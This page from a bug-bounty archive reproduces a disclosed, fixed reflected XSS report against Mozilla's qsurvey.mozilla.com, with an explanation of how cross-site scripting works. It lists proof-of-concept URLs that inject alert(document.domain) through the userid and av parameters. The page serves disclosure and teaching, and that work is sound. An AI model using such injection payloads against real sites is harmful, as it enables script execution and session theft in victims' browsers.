Skip to content
XSS Disclosed report Beginner

XSS in qsurvey.mozilla.com [2]

The qsurvey.mozilla.com survey pages reflected the 'userid' and 'av' URL parameters without sanitisation, allowing an attacker to inject JavaScript that executes in the victim's browser. An attacker could craft a link that runs arbitrary script in the context of the Mozilla domain.

Yaroslav Follow

Originally disclosed on Mozilla

  • Fixed in 13 days
  • Paid in 26 days
  • Disclosed after 13 days
Text
XSS:
https://qsurvey.mozilla.com/s3/*
or
https://qsurvey.mozilla.com/collab/*
(mirror)

Parameters: userid, av

PoC (userid):
https://qsurvey.mozilla.com/s3/userchrome-usage?userid='-alert(document.domain)-'
https://qsurvey.mozilla.com/s3/VPN-Post-Shield-Survey?userid='-alert(document.domain)-'
https://qsurvey.mozilla.com/s3/FF-Desktop-Post-Uninstall?userid='-alert(document.domain)-'
https://qsurvey.mozilla.com/s3/search-survey?userid='-alert(document.domain)-'
https://qsurvey.mozilla.com/s3/devpanels?userid='-alert(document.domain)-'
https://qsurvey.mozilla.com/s3/Price-Wise-Research-Study?userid='-alert(document.domain)-'
https://qsurvey.mozilla.com/s3/addons-mozilla-org-survey?userid='-alert(document.domain)-'
https://qsurvey.mozilla.com/s3/Focus-2019-User-Survey?userid='-alert(document.domain)-'
https://qsurvey.mozilla.com/s3/Firefox-Monitor-Shield-Study-Survey?userid='-alert(document.domain)-'
https://qsurvey.mozilla.com/s3/Avatar-Experiment?userid='-alert(document.domain)-'
https://qsurvey.mozilla.com/s3/Avatar-Experiment-P2?userid='-alert(document.domain)-'
https://qsurvey.mozilla.com/s3/d028b4c4d560?userid='-alert(document.domain)-'
https://qsurvey.mozilla.com/s3/8bbcb0edc4ff?userid='-alert(document.domain)-'
...

PoC (userid + av) + POST XSS:
https://qsurvey.mozilla.com/s3/sdmt/?av='-alert(document.domain)-'&userid='-alert(document.domain)-'
...

The original report as published on Mozilla's Bugzilla, by Yaroslav. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could execute arbitrary JavaScript in the context of qsurvey.mozilla.com, potentially stealing cookies or performing actions on behalf of the victim.

What the attacker needed

Victim clicks a crafted link

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When a website takes something from the URL and puts it directly into the page without cleaning it, an attacker can put code in the URL that the browser then runs. This is called cross-site scripting (XSS). Here, the survey site did that with two parameters, so a crafted link could run script as if it came from Mozilla.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by Yaroslav

View all

3 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.